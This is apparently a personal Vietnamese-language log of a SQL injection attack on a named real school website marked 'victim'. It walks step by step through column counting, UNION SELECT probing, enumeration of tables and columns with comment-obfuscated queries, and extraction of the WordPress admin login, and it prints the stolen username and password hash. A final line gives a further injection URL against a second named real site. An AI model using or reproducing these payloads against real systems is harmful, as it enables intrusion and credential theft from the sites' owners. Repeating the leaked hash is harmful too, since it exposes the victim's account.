SQLi 08/01/2014

victim

http://www.ngoinhatritue.edu.vn/cms/detail_tintuc_2.php?ID=142

b1: check lỗi=> có lỗi. oke.
B2: truy vấn số cột

http://www.ngoinhatritue.edu.vn/cms/detail_tintuc_2.php?ID=142 order by 23-- -

=> số cột là 23.
B3: Tìm cột bị lỗi:

 http://www.ngoinhatritue.edu.vn/cms/detail_tintuc_2.php?ID=142 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- -

 => cột 6 bị lỗi
B4: Truy vấn bảng.

http://www.ngoinhatritue.edu.vn/cms/detail_tintuc_2.php?ID=142 UNION SELECT 1,2,3,4,5,group_concat(/*!table_name*/),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 from information_schema.tables-- -

 => thấy table wp_users chứa thông tin đăng nhập.

 
B5: truy vấn thông tin từ bảng wp_users

 http://www.ngoinhatritue.edu.vn/cms/detail_tintuc_2.php?ID=-142 UNION SELECT 1,2,3,4,5,group_concat(/*!column_name*/),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 from information_schema.columns where /*!table_name*/=0x77705f7573657273 -- -

B6: Lấy thông tin từ 2 cột user_login,user_pass

http://www.ngoinhatritue.edu.vn/cms/detail_tintuc_2.php?ID=-142 UNION SELECT 1,2,3,4,5,group_concat(/*!user_login,0x7c,user_pass*/),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 from wp_users-- -

Được

admin | $P$BNxbknIRUYbqZ2Tc984Y8lMrzp3mat0

 

 

 

http://vapcf.org.vn/modules.php?name=News&mop=topicnews&op=newsdetail&subcatid=14&id=-4689 UNION SELECT 1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43 from information_schema.tables limit 160,1--&catid=15